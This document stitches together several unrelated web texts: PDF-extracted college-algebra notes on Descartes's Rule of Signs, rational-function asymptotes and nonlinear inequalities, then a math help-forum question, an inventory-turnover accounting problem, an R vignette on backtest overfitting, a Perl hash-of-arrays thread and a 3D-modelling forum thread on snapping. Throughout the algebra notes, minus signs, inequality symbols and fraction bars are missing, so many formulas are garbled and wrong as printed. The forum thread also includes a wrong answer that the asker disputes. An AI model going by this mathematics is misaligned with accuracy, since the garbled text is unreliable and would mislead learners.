16 2.61 Parity Two integers have the same parity They are both even or both odd. Descartes s Rule of Signs We want information about z + and z, where: z + z is the number of positive real zeros of f ( x), and is the number of negative real zeros of f ( x). Let v + Let v be the number of variations in sign in f x be the number of variations in sign in f x ( ) (written in standard form). ( ) (written in standard form). Then, 0 z + v +, where z + has the same parity as v +, and 0 z v, where z has the same parity as v. Warning: A zero of multiplicity k is counted k times here. For example, f x real zeros: 1, 1, and 1. ( ) = x 3 + 3x 2 + 3x + 1, which factors as ( x + 1) 3, is said to have 3
17 2.62 Example Based on Descartes s Rule of Signs, give the possible values of z + and z for f x ( ) = 4x 3 5x 2 7x + 2. (We ve used this f ( x) in previous sections.) Solution Find possible values for z + : We see that v + = 2, an even integer. Therefore, 0 z + 2, where z + is also even. The possible values for z + are then 0 and 2. Tip: Observe that we start with 2 and count down by twos; we stop before reaching negative numbers. This is similar to listing possible numbers of turning points for polynomial graphs in Section 2.2. Find possible values for z : We see that v = 1, an odd integer. Therefore, 0 z 1, where z is also odd. The only possible value for z is 1. (In other words, f x ( ) must have exactly one negative real zero.)
18 2.63 Note: We earlier found that f ( x) had 2 positive real zeros, namely 2 and 1, and 1 negative real zero, namely 1. See the graph below. 4 Note: Consider the form f ( x) = x n ± 1 as a source of basic examples.
19 2.64 PART I: UPPER AND LOWER BOUND RULES FOR ZEROS a is a lower bound for the real zeros of f, and b is an upper bound for them All the real zeros of f lie in the interval a, b. It is easier to demonstrate the Upper and Lower Bound Rules rather than to state them in general. We require that the leading coefficient of f ( x), a n, be positive, and that all the coefficients be real. Example and Demonstration Show that all the real zeros of f ( x) = 4x 3 5x 2 7x + 2 must lie in the interval 1, 3. Solution Use Synthetic Division to divide f ( x) by x 3: Because 3 > 0, and all the entries in the last row are nonnegative, 3 is an upper bound for the real zeros of f.
20 2.65 Use Synthetic Division to divide f ( x) by x ( 1) : Because -1 < 0, and the entries in the last row alternate between nonnegative and nonpositive entries, 1 is a lower bound for the real zeros of f. In fact, because we get a 0 remainder, 1 must be a zero of f. Therefore, all the real zeros of f ( x) must lie in the interval 1, 3. Note: These rules can be used (possibly in conjunction with Descartes s Rule of Signs and/or a graph) to shrink the list of candidates for zeros resulting from the Rational Zero Test. The information obtained from these rules can also help us use the Intermediate Value Theorem (see Notes on Section 2.2) more effectively in attempting to locate where zeros may be.
21 THE QF METHOD FOR FACTORING QUADRATICS Remember our old friend f ( x) = 4x 3 5x 2 7x + 2. Let s say we want to factor this completely over C. From Part B on the Rational Zero Test, we found a list of candidates for rational zeros. It turned out that 2 was, in fact, a zero. Therefore, by the Factor Theorem, x 2 factor of f ( x). After performing Synthetic Division, we found that: 4x 3 5x 2 7x + 2 = ( x 2) ( 4x 2 + 3x 1) ( ) was a Trial-and-error can be used to factor the quadratic factor, but this method makes some people nervous. There is a more systematic alternative offered to us by the Quadratic Formula (QF). Ordinarily, we factor before finding zeros, but we will reverse that here. Use the QF to find the zeros of 4x 2 + 3x 1; in other words, solve 4x 2 + 3x 1 = 0. Observe: a = 4, b = 3, and c = 1. x = b ± b2 4ac 2a = ( 3 ) ± ( 3) 2 4( 4) ( 1) 2( 4) = 3 ± 25 8 = 3 ± 5 8 x = = 2 8 = 1 4 or x = = 8 8 = 1 The zeros of 4x 2 + 3x 1 are 1 4 and 1.
22 Remember that the leading coefficient of 4x 2 + 3x 1 was a n = 4. An LFT Form of 4x 2 + 3x 1 is, therefore: 4x 2 + 3x 1 = 4 x 1 4 x + 1 ( ) However, factorizations over Z tend to be more useful in simplifications, so we will distribute the 4 through the x 1 4 factor. Warning: You may distribute the 4 through one of the other factors, but not both!! We obtain: 4x 2 + 3x 1 = ( 4x 1) ( x + 1) This is the kind of factorization we are typically used to, and it often helps us in simplification problems. Example Simplify x + 1 4x 2 + 3x 1. Solution x + 1 4x 2 + 3x 1 = x + 1 4x 1 = 1, x 1 ( ) ( x + 1) 1 1 4x 1, x 1 By the way, we must complete the original problem! We had to factor f x ( ) = 4x 3 5x 2 7x + 2 over C. Don t forget the ( x 2) factor that we obtained earlier: 4x 3 5x 2 7x + 2 = x 2 ( ) ( ) 4x 2 + 3x 1 ( )( 4x 1) ( x + 1) = x 2
23 2.66 SECTION 2.6: RATIONAL FUNCTIONS PART A: ASSUMPTIONS Assume f ( x) is rational and written in the form f ( x) = N ( x ) where N ( x) and D( x) are polynomials, and D x D( x), ( ) 0 (i.e., the zero polynomial). Assume for now that N ( x) and D( x) have no real zeros in common. Note: The textbook essentially makes this last assumption when it assumes that N x and D x ( ) have no common factors (over R) aside from ±1, though, in Part E, we will consider what happens when we relax this assumption. Warning: Even though x2 + x x [rule] f ( x) = x2 + x x ( ) = x + 1 ( x 0), we do not consider the rational function to be a polynomial function [rule]. PART B: VERTICAL ASYMPTOTES (VAs) An asymptote for a graph is a line that the graph approaches. Example Let f ( x) = 1. Find any VAs for the graph of f. x 2 Solution Observe that 1 and x 2 have no real zeros in common. x 2 = 0 x = 2, so the only VA has equation x = 2.
24 2.67 The graph of y = 1 x (on the left) is translated 2 units to the right to obtain the graph of y = 1 x 2 asymptotes. (on the right). We typically use dashed lines to indicate x = 2 is a VA for the graph on the right, because: (Actually, just one of the two statements below would be sufficient.) f ( x) as x 2 + (i.e., as x approaches 2 from the right, or from higher numbers), and f ( x) as x 2 (i.e., as x approaches 2 from the left, or from lesser numbers). Under our Assumptions in Part A, the graph of f x ( ) = N ( x ) D( x) c is a real zero of D( x) ( ) or as x c +, and ( ) or as x c. f x f x has a VA at x = c ( c R) Note: When we study logarithmic functions in Chapter 3, we will see graphs that have one-sided VAs. Graphs of rational functions shoot off on both sides of any VAs.
25 2.68 PART C: HORIZONTAL ASYMPTOTES (HAs) Case 1 ( ) = N ( x ) has a HA at y = L ( L R) D( x) ( ) L as x and as x. The graph of f x f x Note: The graph of a rational function can have at most one HA. The graph of a function that is not rational can have at most two HAs; f x ( ) may approach different real values when x as opposed to when x. If deg N ( ) < deg D ( ) is the only HA of its graph. the x-axis y = 0 ( ), then f is a proper rational function, and Example: f ( x) = 1. See the graph on Notes x Example Consider f ( x) = 1 x deg( N ) < deg( D), because 0 < 2. The x-axis is the only HA of the graph of f. Observe that f x VAs, because D x ( ) > 0 x R ( ) = x has no real zeros. ( ), f is even, and its graph (below) has no
26 2.69 Case 2 If deg( N ) = deg D where L = Example ( ), then y = L is the only HA of the graph of f, ( ) ( ). the leading coefficient of N x the leading coefficient of D x Consider f ( x) = 4x3 x 5x deg( N ) = deg( D), because 3 = 3. y = 4 5 ( or 0.8) is the only HA of the graph of f (below). Warning: Observe from the graph above that it is possible for the graph of y = f x ( ) to cross a HA. However, its graph can never cross a VA. Note: The idea is that, in the long run, the Zoom Out Dominance Property for polynomials applies to the numerator and the denominator: f ( x) = 4x3 x 5x x3 5x = if x is extreme
27 2.70 Case 3 If deg( N ) > deg( D), then the graph of f has no HAs. The Zoom Out Property described in Part D will tell us about the long-run behavior of such graphs. PART D: THE ZOOM OUT PROPERTY FOR RATIONAL FUNCTIONS; SLANT ASYMPTOTES Example (from Section 2.3, Part A) We have used long division to express f ( x) = 5 + 3x2 + 6x 3 as: 1+ 3x 2 ( ) = 2x + 1 f x 2x + 6 polynomial 3x part, p( x) proper rational part, r( x) This makes the corresponding graph (below) much easier to analyze.
28 2.71 Case 1 from Part C tells us that r ( x) 0 as x and as x. (The proper rational part decays in the long run.) Therefore, the graph of f ( x) approaches the graph of p( x) as x and as x. ( ) approaches the graph of p( x) = 2x + 1. ( ) is linear, we call y = 2x + 1 a slant asymptote (SA) or an oblique Here, the graph of f x Because p x asymptote for the graph of f. Note: The graph of f has a SA deg( N ) = deg( D) + 1. Note: The graph of f has no VAs, because D( x) = 3x has no real zeros.
29 2.72 PART E : WHAT IF N ( x) AND D( x) HAVE REAL ZEROS IN COMMON? The graph of f may have a VA or a hole at such a common real zero. In Calculus: The limit form 0 is important in Calculus. The limit definitions of the 0 derivative described in Notes and involve this form. Example Graph f ( x) = x2 9 x 3. Solution ( ) = x 3, so 3 is excluded from the ( ) = x 2 9. By the Factor ( ) must be a factor of N ( x). Observe that 3 is a real zero of D x domain of f, and 3 is also a real zero of N x Theorem, x 3 f ( x) = x2 9 x 3 ( x + 3) ( x 3) = ( x 3) = x + 3 ( x 3) We include ( x 3) as part of the final expression, because it is not apparent from the expression x + 3 that 3 is excluded from the domain of f. The graph of f is essentially the line y = x + 3, except that the point 3, 6 ( ) is deleted from the graph.
30 In Calculus: We say that the resulting hole reflects the fact that f has a removable discontinuity at x =
31 2.74 Example Graph f ( x) = Solution f ( x) = x 2 x 2 4x + 4. x 2 x 2 4x + 4 = x 2 ( x 2) 2 Observe that 2 is the only real number excluded from Dom( f ). = 1 x 2 1 It is apparent from the final expression,, that 2 is excluded from the x 2 domain of f, so we need not write ( x 2). The graph of f is the same as the second graph from Part B: Notes 2.67: We have a VA and not a hole at x = 2, because not all of the x 2 ( ) factors in the denominator were canceled (divided) out in the simplification process. In our previous Example, all of the x 3 ( ) factors were canceled (divided) out in the denominator.
32 PART F: COMMENTS ON GRAPHING RATIONAL FUNCTIONS (BONUS TOPIC) Our prior observations, in conjunction with the Zoom Out Dominance Property for polynomials, tell us that, in the long run, graphs of rational functions look like lines, bowls, or snakes. See Notes on Section 2.2, Part H. When considering the graph of a rational function f, we make the following modifications to those Notes: Determine the domain of f. Find any VAs, HAs (see #4 below), and holes. Remember that graphs of rational functions have no cusps or sharp corners (such as for x ). 1) Find the y-intercept, if any If 0 is not in the domain of f, then there is no y-intercept. 2) Find the x-intercept(s), if any. When determining the real zeros of f, make sure that your zeros are, in fact, in the domain of f. Look for real zeros of N x ( ). of D x 3) Exploit symmetry, if possible. Is f even? Odd? ( ) that are not zeros 4) Determine the long-run behavior of the graph as x and as x. Use Part C to find any HAs. Use Part D and maybe basic algebra or Long or Synthetic Division to find SAs or other long-run polynomial behaviors ; remember the Zoom Out Properties for both rational and polynomial functions.
33 2.76 5) Find where f ( x) > 0 and where f ( x) < 0. Let s modify our comments on the Test Interval (or Window ) Method from Section 2.2: A rational function can only change sign at its zeros, or where it is undefined (i.e., where there is a hole or a VA). Note: A rational function can only change sign at a hole if it lies on the x-axis. 6) Maybe do some point-plotting (for a more accurate graph). For many more examples, see the figures in the textbook.
34 (Section 2.7: Nonlinear Inequalities) 2.77 SECTION 2.7: NONLINEAR INEQUALITIES We solved linear inequalities to find domains, and we discussed intervals in Section 1.4: Notes 1.24 to In this section, we will solve nonlinear inequalities to find domains. Example 1 Let f ( x) = x 2 9. We get real outputs x There are different ways to solve this inequality; its solution set is the domain of f. Method 1: Sign Chart Method; we are solving x The key idea here is that we d rather perform a sign analysis on products of factors as opposed to sums of terms. (For example, the product of a positive real number and a negative real number is guaranteed to be negative; however, there is no such guarantee regarding their sum.) Factoring can be a key tool. x ( x + 3) ( x 3) 0 We need to determine where each of the factors on the left side is negative, 0, and positive in value. We ultimately want to know where their product is 0 or positive. The domain of f is: (, 3 3, ).
35 Method 2: Parabola Method (for Quadratic Inequalities); we are solving x (Section 2.7: Nonlinear Inequalities) 2.78 The real zeros of x 2 9 are the x-intercepts of the corresponding parabola: x 2 9 = 0 x 2 = 9 x = ± 3 Warning: Here, the ± symbol means take both the + 3 and the 3. See Warning 1 in Section 1.5: Notes The leading coefficient of x 2 9 is positive, so the parabola opens up. This is enough information for us to sketch the parabola to our satisfaction. Given an input x, the y-coordinate of the corresponding point gives the output (or function value). Because of the 0 in our inequality, we need the values of x, if any, that correspond to the parts of the parabola that lie above or on the x-axis. Again, the domain of f is: (, 3 3, ). See also the bottom of p.198.
36 (Section 2.7: Nonlinear Inequalities) 2.79 Method 3: Test Value or Test Interval Method; we are solving x This method presented in Larson, Section 2.7 may be the most straightforward one for rational inequalities in general. We discussed these ideas for continuous, particularly polynomial, functions in Section 2.2: Notes 2.23, and we extended them to rational functions in Section 2.6: Notes 2.76: A rational function can only change sign at its zeros, or where it is undefined (i.e., where the graph has a hole or a VA). Warning: These places are called critical numbers in Larson, but this term has a different meaning in Calculus. In Calculus I, they are numbers in the domain of a function where the function s derivative (see Notes ) is 0 or undefined; see Notes 1.49 to get a hint as to why we care. Warning: The function may or may not change sign at these places. For example, look at the graphs of y = x 3 7x 2 + 8x + 16 and of y = 1 x below. Note: The blue window separators marking the zeros in the first graph are not asymptotes, but the blue dashed line marking where 1 x graph is. is undefined in the second
37 (Section 2.7: Nonlinear Inequalities) 2.80 Remember, we are solving x Now, x 2 9 is a polynomial in x, so it is never undefined, and its zeros are 3 and 3, as we have seen in Method 2. We use 3 and 3 as breakpoints (or fence posts) along the real number line. They break up the number line into three open test intervals, excluding 3 and 3, themselves. We test an x-value in each of the three intervals, and we at least determine the sign of x 2 9 at that test x-value; the sign there must be the common sign throughout the entire interval (see the box on the previous page). 3 3 Test x-values Value of x ( ) 2 9 = 7 0 ( 0) 2 9 = 9 0 ( 4) 2 9 = 7 Sign of x We want the values of x for which x 2 9 is either + or 0. Again, the domain of f is: (, 3 3, ). Note: Instead of testing 4 and 4, you may want to test extreme values such as 100 and 100. The corresponding signs may be easier to figure out. Bear in mind that you do not need to find the corresponding numerical values of x 2 9; only signs matter. In fact, the following variation is often an improvement. Method 4: Test Value or Test Interval Method using Factored Forms; we are solving x The Study Tip on p.199 of Larson suggests the sign analysis of factored forms, which can make our work for Method 3 more efficient, especially for more complicated inequalities. This method is a hybrid of Methods 1 and 3. Remember that x 2 9 = x + 3 ( )( x 3). We revise the chart from Method 3 as follows: 3 3 Test x-values Signs: x + 3 ( )( x 3) ( ) ( ) 0 ( + )( ) 0 ( + )( + ) Sign of Product, x
38 (Section 2.7: Nonlinear Inequalities) 2.81 Example 2 Let f ( x) = 1 x 2 9. This is similar to Example 1, except that we get real outputs x 2 9 > 0. Note that we exclude 0, itself, here. In our graphs for the first two methods in Example 1, we replace filled-in circles with hollow ones. In our charts for the last two methods, the 0 s in the bottom lines are no longer in red. We also replace brackets with parentheses in our answer, because we must exclude the endpoints 3 and 3 from the domain. The domain of f is: (, 3) ( 3, ). Example 3 3 Let f ( x) = x 2 9. The domain of f is R, because: x 2 9 is a polynomial with unrestricted domain, and (Warning!) The taking of odd roots (such as cube roots) does not impose any new restrictions on the domain. Remember that the cube root of a negative real number is a negative real number. This is different from even roots (such as square roots); we do not permit even roots of negative numbers when we find a domain. For more on domains of radical functions, see Notes P.19.
39 (Section 2.7: Nonlinear Inequalities) 2.82 Warning 1: When dealing with inequalities, if you multiply or divide both sides by a negative quantity, you must reverse the direction of the inequality symbol. For example, x < 2 x > 2. You must also reverse the direction if you switch the left side and the right side. For example, a < b b > a. Warning 2: Do not multiply or divide both sides of an inequality by a variable expression, unless you take the time to consider cases when the expression is positive, zero, and negative in value. Warning 3: When solving a nonlinear inequality such as x 2 9 0, make sure 0 is isolated on one side if you are going to use one of the methods from Example 1. This is because sign analyses are based on comparisons with 0. Example (Warnings 2 and 3) When solving the inequality x 2 > x, do not divide both sides by x. Instead, isolate 0 on one side by subtracting x from both sides: x 2 > x x 2 x > 0 Then, use one of the methods given in Example 1. The solution set turns out to be: (, 0) ( 1, ). These are the numbers whose squares are greater than themselves. Warning 4: Let s say we have f ( x) = 9 x 2, and we want to use the Sign Chart Method (Method 1). Remember that 9 x 2 factors as ( 3+ x) ( 3 x), which is the opposite of ( x + 3) ( x 3) because of the Switch Rule for Subtraction. Example 3 on p.200 in Larson deals with Unusual Solution Sets.
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MATH 1340.04 College Algebra Location: MAGC 2.202 Meeting day(s): TR 7:45a 9:00a, Instructor Information Name: Virgil Pierce Email: piercevu@utpa.edu Phone: 665.3535 Teaching Assistant Name: Indalecio
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### Algebra 2 Notes AII.7 Functions: Review, Domain/Range. Function: Domain: Range:
Name: Date: Block: Functions: Review What is a.? Relation: Function: Domain: Range: Draw a graph of a : a) relation that is a function b) relation that is NOT a function Function Notation f(x): Names the | 16,372 | 59,241 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.40625 | 4 | CC-MAIN-2019-43 | latest | en | 0.787445 |
https://web2.0calc.com/questions/please-help-need-this-now | 1,708,967,762,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474661.10/warc/CC-MAIN-20240226162136-20240226192136-00404.warc.gz | 612,250,354 | 5,295 | +0
0
139
2
Let f(x) = x^3 + 3x ^2 + 4x - 7 and g(x) = -7x^4 + 5x^3 +x^2 - 7. What is the coefficient of x^3 in the sum f(x) + g(x)?
Oct 26, 2022
#1
0
The coefficient of x^3 is -6.
Oct 27, 2022
#2
0
sorry, thats wrong anyone else know it?
Oct 27, 2022 | 130 | 258 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.21875 | 3 | CC-MAIN-2024-10 | latest | en | 0.765302 |
http://www.drtaccounting.com/2012/06/inventory-turnover-accounting-problem.html | 1,580,290,429,000,000,000 | text/html | crawl-data/CC-MAIN-2020-05/segments/1579251789055.93/warc/CC-MAIN-20200129071944-20200129101944-00361.warc.gz | 203,693,396 | 12,308 | ## Sunday, June 17, 2012
### Inventory Turnover Accounting Problem
Use the following information to solve this inventory turnover accounting problem:
A golf ball manufacturer reported sales of \$10 million and an inventory turnover ratio of 2 during its last accounting period. The manufacturing company is now adopting a new inventory system to increase efficiency.
The goal of the new inventory system is to reduce the firm’s inventory level and increase the firm’s inventory turnover ratio to 5. At the same time, the company hopes to maintain the same level of sales. Answer how much cash will be freed up by doing this?
Solution to Accounting Problem:
Yearly Sales \$10,000,000
Inventory Turnover ratio (old) 2
Inventory Turnover ratio (new) 5
Calculate the level of inventory:
Inventory Equation = (Sales/Inventory Turnover)
Calculating Value of old inventory
Old Inventory = \$10,000,000/2 =\$5,000,000
Calculating Value of New inventory
Inventory New = \$10,000,000/5 = \$2,000,000
Amount of Freed up cash by the transition= (Old Inventory – New Inventory)
=\$5,000,000 - \$2,000,000= \$3,000,000 | 286 | 1,286 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.40625 | 3 | CC-MAIN-2020-05 | latest | en | 0.755368 |
http://mirror.its.dal.ca/cran/web/packages/pbo/vignettes/pbo.html | 1,606,881,754,000,000,000 | text/html | crawl-data/CC-MAIN-2020-50/segments/1606141686635.62/warc/CC-MAIN-20201202021743-20201202051743-00518.warc.gz | 63,339,136 | 188,010 | Probability of Backtest Overfitting
The package pbo provides convenient functions for analyzing a matrix of backtest trials to compute the probability of backtest overfitting, the performance degradation, and the stochastic dominance of the fitted models. The approach follows that described by Bailey et al. in their paper “The Probability of Backtest Overfitting” (reference provided below).
First, we assemble the trials into an NxT matrix where each column represents a trial and each trial has the same length T. This example is random data so the backtest should be overfit.
set.seed(765)
n <- 100
t <- 2400
m <- data.frame(matrix(rnorm(n*t),nrow=t,ncol=n,dimnames=list(1:t,1:n)),
check.names=FALSE)
sr_base <- 0
mu_base <- sr_base/(252.0)
sigma_base <- 1.00/(252.0)**0.5
for ( i in 1:n ) {
m[,i] = m[,i] * sigma_base / sd(m[,i]) # re-scale
m[,i] = m[,i] + mu_base - mean(m[,i]) # re-center
}
We can use any performance evaluation function that can work with the reassembled sub-matrices during the cross validation iterations. Following the original paper we can use the Sharpe ratio as
sharpe <- function(x,rf=0.03/252) {
sr <- apply(x,2,function(col) {
er = col - rf
return(mean(er)/sd(er))
})
return(sr)
}
Now that we have the trials matrix we can pass it to the pbo function for analysis. The analysis returns an object of class pbo that contains a list of the interesting results. For the Sharpe ratio the interesting performance threshold is 0 (the default of 0) so we pass threshold=0 through the pbo call argument list.
require(pbo)
## Loading required package: pbo
my_pbo <- pbo(m,s=8,f=sharpe,threshold=0)
The my_pbo object is a list we can summarize with the summary function.
summary(my_pbo)
## Performance function sharpe with threshold 0
## p_bo slope ar^2 p_loss
## 1.000000 -0.003046 0.970000 1.000000
We see that the backtest overfitting probably is 1 as expected because all of the trials have the same performance. We can view the results with the package's preconfigured lattice plots. The xyplot function has several variations for the plotType parameter value. See the ?xyplot.pbo help page for the details.
require(lattice)
require(latticeExtra)
## Loading required package: latticeExtra
require(grid)
## Loading required package: grid
histogram(my_pbo,type="density")
xyplot(my_pbo,plotType="degradation")
xyplot(my_pbo,plotType="dominance",increment=0.001)
xyplot(my_pbo,plotType="pairs")
xyplot(my_pbo,plotType="ranks",ylim=c(0,20))
dotplot(my_pbo)
The package also supports parallel execution on multicore hardware, providing a potentially significant reduction in pbo analysis time. The pbo package uses the foreach package to manage parallel workers, so we can use any package that supports parallelism using foreach.
For example, using the doParallel package we can establish a multicore cluster and enable multiple workers by passing the above m and s values along with the argument allow_parallel=TRUE to pboas follows:
require(doParallel)
## Loading required package: doParallel
cluster <- makeCluster(2) # or use detectCores()
registerDoParallel(cluster)
p_pbo <- pbo(m,s=8,f=sharpe,allow_parallel=TRUE)
stopCluster(cluster)
summary(p_pbo)
## Performance function sharpe with threshold 0
## p_bo slope ar^2 p_loss
## 1.000000 -0.003046 0.970000 1.000000
Reference
Bailey, David H. and Borwein, Jonathan M. and Lopez de Prado, Marcos and Zhu, Qiji Jim, “The Probability of Back-Test Overfitting” (September 1, 2013). Available at SSRN. | 926 | 3,562 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.921875 | 3 | CC-MAIN-2020-50 | latest | en | 0.789292 |
https://www.perlmonks.org/index.pl/jacques?node_id=569938 | 1,529,309,800,000,000,000 | text/html | crawl-data/CC-MAIN-2018-26/segments/1529267860089.13/warc/CC-MAIN-20180618070542-20180618090542-00072.warc.gz | 872,328,746 | 6,287 | ### Problem with HOA.
by tamaguchi (Pilgrim)
on Aug 28, 2006 at 07:03 UTC Need Help??
tamaguchi has asked for the wisdom of the Perl Monks concerning the following question:
Suppose you have following data stucture:
```my %hash=(
1=> [1.5, 2.1, 3.1],
2=> [1.2, 2.2, 3.2],
3=> [1.3, 2.3, 3.3],
)
How would you do in the easiest way to get out an array consisting of the first ellement in each of the internal valuearrays sorted by the keys? I.e. \$array[0]=1.5, \$array[1]=1.2 and \$array[2]=1.3. Thank you fellow monk.
Replies are listed 'Best First'.
Re: Problem with HOA.
by cog (Parson) on Aug 28, 2006 at 07:10 UTC
my @array = map { \$hash{\$_}->[0] } sort { \$a <=> \$b } keys %hash;
That's the first solution that comes to my mind. Try reading it backwards:
1. Take the keys of the hash... (keys %hash)
2. ...sort them numerically... (sort { \$a <=> \$b } ...)
3. ...and get the first element of the array corresponding to each key in the hash... (map { \$hash{\$_}->[0] } ...)
Re: Problem with HOA.
by GrandFather (Sage) on Aug 28, 2006 at 07:13 UTC
Update wrong answer. cog has it right.
```use strict;
use warnings;
my %hash=(
1=> [1.5, 2.1, 3.1],
2=> [1.2, 2.2, 3.2],
3=> [1.3, 2.3, 3.3],
);
my @array = sort {\$a<=> \$b} map {@{\$hash{\$_}}} keys %hash;
print "@array";
Prints:
```1.2 1.3 1.5 2.1 2.2 2.3 3.1 3.2 3.3
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Notices? | 644 | 1,860 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.703125 | 3 | CC-MAIN-2018-26 | latest | en | 0.799357 |
http://www.education.com/question/decimal-equivalent-34600/ | 1,481,401,898,000,000,000 | text/html | crawl-data/CC-MAIN-2016-50/segments/1480698543567.64/warc/CC-MAIN-20161202170903-00180-ip-10-31-129-80.ec2.internal.warc.gz | 437,089,126 | 20,217 | Q:
# What is the decimal equivalent to 3.4600
In Topics:
> 60 days ago
|
, Parent writes:
I'm afraid this question sounds a little backwards. Except for a couple of unneeded zeros at the end, your number is already in decimal form. The term "decimal equivalent" in my experience refers to the decimal form of a fraction. For example, if you have a 1/4" (quarter inch) drill bit, the decimal equivalent is 0.25 inches.
3.4600 is the same as 3.46
is the same as 3 46/100
is the same as 3 23/50
Since 23 is a prime number, the fraction 23/50 cannot be further reduced. If you are willing to take it out of reduced form,
3 23/50 is the same as 173/50 as a fraction.
What is the decimal equivalent of 173/50? 3.46
> 60 days ago
Did you find this answer useful?
1
yes
0
no | 235 | 780 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.59375 | 4 | CC-MAIN-2016-50 | latest | en | 0.938702 |
http://moi3d.com/forum/messages.php?webtag=MOI&msg=995.1 | 1,719,041,218,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198862252.86/warc/CC-MAIN-20240622045932-20240622075932-00512.warc.gz | 17,410,052 | 7,911 | a bug?
From: Val (GAT) 7 Oct 2007 (1 of 13)
I don't know if I am doing something wrong, but object center snap is not working. It is activated in the object snap properties. edit: Does it only work on lines that are not part of the objects? EDITED: 7 Oct 2007 by GAT
From: Michael Gibson 7 Oct 2007 (2 of 13)
995.2 In reply to 995.1 Hi Val - it will only grab the center of certain shapes like an arc, circle, ellipse, or a polygon made up of line segments. The thing you're trying to snap to must not have any of these exact shapes. It's not too hard to have a curve that looks fairly circular but is actually just a freeform curve that isn't close enough in shape to a circle to have the center snap activated for it. - Michael
From: Val (GAT) 7 Oct 2007 (3 of 13)
995.3 In reply to 995.2 Hi, Michael Is it possible to have this feature in 2.0 for non circular non straight lines? Or is this something that just cannot be coded?
From: Michael Gibson 7 Oct 2007 (4 of 13)
995.4 In reply to 995.3 Hi Val, well it is just not quite well defined what the "center" of a wiggly arbitrary curve is. Do you mean the center of the bounding box around the curve? For a closed curve, the centroid of mass as if the curve was a solid plate of material? The center of the curvature circle at a particular point of the curve? > Or is this something that just cannot be coded? There are several problems with coding it. Not so much in just doing the calculation, but rather in coding it to work quickly so that things don't slow down a lot. Some of the above calculations can be time consuming to calculate.. Even the center of the bounding box can be a bit tricky if you want to get a very accurate "tight" bounding box that hugs exactly against the shape of the curve. It's possible to do an approximate tight bounding box quicker but I worry about using approximations in snapping points. On a larger model it would be hard to avoid things freezing up until all these center calculations were finished. The basic problem is that the center can be quite a distance away from the actual outline of the curve shape itself, so it is hard to postpone doing the calculations - with some stuff like intersections I can postpone calculating the intersection until your mouse moves nearby the curves that are involved. But I can't really tell if your mouse is nearby the center without doing the full calculation to determine the center... - Michael
From: Michael Gibson 7 Oct 2007 (5 of 13)
995.5 In reply to 995.4 But what I might be able to do in future versions is add some commands that would calculate a point object at one of these "center" locations. Once you created that point object, you could then use it as a snapping target. - Michael
From: Val (GAT) 7 Oct 2007 (6 of 13)
Everything you said is right on. It would be very helpful to be able to make reference lines, or even smart track. thnks
From: Michael Gibson 7 Oct 2007 (7 of 13)
995.7 In reply to 995.6 Hi Val - for making reference lines use the "Construction Lines" feature. This is enabled when you are in a drawing command by pushing the mouse button down, then holding it down and dragging away, instead of a push and release. When you hold down and drag, you will create a construction line which can be used for snapping purposes like alignments with an edge, extensions, intersections, etc... For more information, see the doc file here: http://moi3d.com/beta/moi_command_reference2.zip , under the topic "Construction lines". One really nice thing about MoI's construction lines are that they don't jump up completely automatically - stuff that is triggered automatically can tend to get frustrating and get in your way when you don't want it. With a construction line, it is only triggered with that dragging gesture so it stays out of your way until you call on it, but it is also really easy to call on. Also other kinds of reference line things are usually limited to radiating a line out from one single point, just along major axis directions. With MoI you get to choose 2 points for the reference line, the spot where you clicked down on, and then the point that you released the button up on. Since your line is defined by 2 points (instead of one point + axis directions) you can have it angled at any direction, and this also gives many other abilities like finding the midpoint between any 2 points by using a construction line, doing mirrored points, setting up divisions like 1/5 increments between 2 